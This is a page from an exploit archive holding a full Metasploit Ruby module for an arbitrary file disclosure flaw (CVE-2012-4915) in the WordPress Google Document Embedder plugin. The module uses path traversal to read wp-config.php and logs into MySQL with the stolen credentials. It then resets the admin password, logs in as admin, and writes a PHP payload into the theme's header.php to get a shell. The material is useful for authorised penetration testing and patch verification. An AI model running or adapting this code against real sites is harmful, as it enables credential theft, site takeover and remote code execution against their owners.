Lucene search

K
zdtMetasploit1337DAY-ID-20123
HistoryJan 08, 2013 - 12:00 a.m.

WordPress Plugin Google Document Embedder Arbitrary File Disclosure

2013-01-0800:00:00
metasploit
0day.today
14

This Metasploit module exploits an arbitrary file disclosure flaw in the WordPress blogging software plugin known as Google Document Embedder. The vulnerability allows for database credential disclosure via the /libs/pdf.php script. The Google Document Embedder plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL server is exposed on a accessible IP and Wordpress has filesystem write access. Please note: The admin password may get changed if the exploit does not run to the end.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
require 'rbmysql'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
            'Description'    => %q{
                    This module exploits an arbitrary file disclosure flaw in the WordPress
                blogging software plugin known as Google Document Embedder. The vulnerability allows for
                database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
                plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
                server is exposed on a accessible IP and Wordpress has filesystem write access.
 
                Please note: The admin password may get changed if the exploit does not run to the end.
            },
            'Author'         =>
                [
                    'Charlie Eriksen',
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    ['CVE', '2012-4915'],
                    ['OSVDB', '88891'],
                    ['URL', 'http://secunia.com/advisories/50832'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'ConnectionType' => 'find',
                        },
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Jan 03 2013',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
                OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
                OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
                OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
            ], self.class)
    end
 
    def check
        uri = target_uri.path
        uri << '/' if uri[-1,1] != '/'
        plugins_uri = String.new(uri)
        plugins_uri << datastore['PLUGINSPATH']
        plugins_uri << '/' if plugins_uri[-1,1] != '/'
 
        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => "#{plugins_uri}google-document-embedder/libs/pdf.php",
        })
 
        if res and res.code == 200
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end
 
    def exploit
        uri = target_uri.path
        uri << '/' if uri[-1,1] != '/'
        plugins_uri = String.new(uri)
        plugins_uri << datastore['PLUGINSPATH']
        plugins_uri << '/' if plugins_uri[-1,1] != '/'
        admin_uri = String.new(uri)
        admin_uri << datastore['ADMINPATH']
        admin_uri << '/' if plugins_uri[-1,1] != '/'
        themes_uri = String.new(uri)
        themes_uri << datastore['THEMESPATH']
        themes_uri << '/' if plugins_uri[-1,1] != '/'
 
        print_status('Fetching wp-config.php')
        res = send_request_cgi({
            'method'     => 'GET',
            'uri'        => "#{plugins_uri}google-document-embedder/libs/pdf.php",
            'vars_get'   =>
                {
                    'fn'   => "#{rand_text_alphanumeric(4)}.pdf",
                    'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
                }
        })
 
        if res and res.body =~ /allow_url_fopen/
            fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
        elsif res.code != 200
            fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
        end
 
        config = parse_wp_config(res.body)
        if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
            fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")
        end
        begin
            @mysql_handle = ::RbMysql.connect({
                :host           => config['DB_HOST'],
                :port           => config['DB_PORT'],
                :read_timeout   => 300,
                :write_timeout  => 300,
                :socket         => nil,
                :user           => config['DB_USER'],
                :password       => config['DB_PASSWORD'],
                :db             => config['DB_NAME']
            })
        rescue Errno::ECONNREFUSED,
            RbMysql::ClientError,
            Errno::ETIMEDOUT,
            RbMysql::AccessDeniedError,
            RbMysql::HostNotPrivileged
            fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')
        end
        res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
                                    INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")
 
        if res.nil? or res.size <= 0
            fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')
        end
 
        user = res.first
 
        new_password = rand_text_alphanumeric(8)
        @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
        print_warning("Admin password changed to: #{new_password}")
 
        admin_cookie = get_wp_cookie(uri, user[0], new_password)
 
        theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)
 
        print_warning("Editing theme #{theme}")
        set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)
 
        print_status("Calling backdoor")
        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => "#{themes_uri}#{theme}/header.php",
        })
 
        if res and res.code != 200
            fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
        end
 
        set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)
 
        @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")
 
        print_status("Shell should have been acquired. Disabled backdoor")
    end
 
    def parse_wp_config(body)
        p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
        print_status("wp-config.php saved in: #{p}")
        print_status("Parsing config file")
        values = {}
 
        body.each_line do |line|
            if line =~ /define/
                key_pair = line.scan(/('|")([^'"]*)('|")/)
                if key_pair.length == 2
                    values[key_pair[0][1]] = key_pair[1][1]
                end
            elsif line =~ /table_prefix/
                table_prefix = line.scan(/('|")([^'"]*)('|")/)
                values['DB_PREFIX'] = table_prefix[0][1]
            end
        end
        #Extract the port from DB_HOST and normalize DB_HOST
        values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306
 
        if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
            print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
            values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
        end
 
        return values
    end
 
    def get_wp_cookie(uri, username, password)
        res = send_request_cgi({
            'method'     => 'POST',
            'uri'        => "#{uri}wp-login.php",
            'cookie'     => 'wordpress_test_cookie=WP+Cookie+check',
            'vars_post'  =>
                {
                    'log'        => username,
                    'pwd'        => password,
                    'wp-submit'  => 'Log+In',
                    'testcookie' => '1',
                },
        })
 
        if res and res.code == 200
            fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')
        elsif res and res.code != 302
            fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
        end
 
        admin_cookie = ''
        (res.headers['Set-Cookie'] || '').split(',').each do |cookie|
            admin_cookie << cookie.split(';')[0]
            admin_cookie << ';'
        end
 
        if admin_cookie.empty?
            fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')
        end
 
        return admin_cookie
    end
 
    def get_wp_theme(admin_uri, admin_cookie)
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{admin_uri}theme-editor.php?file=header.php",
            'cookie' => admin_cookie,
        })
 
        if res and res.code != 200
            fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
        elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
            fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')
        end
 
        nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
        old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
        theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s
 
        return [theme, nonce, old_content]
    end
 
    def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => "#{admin_uri}theme-editor.php?",
            'cookie'    => admin_cookie,
            'vars_post' =>
                {
                    '_wpnonce'   => nonce,
                    'theme'      => theme,
                    'newcontent' => new_content,
                    'action'     => 'update',
                    'file'       => 'header.php'
                },
        })
 
        if res and res.code != 302
            fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
        end
    end
 
end

#  0day.today [2018-04-09]  #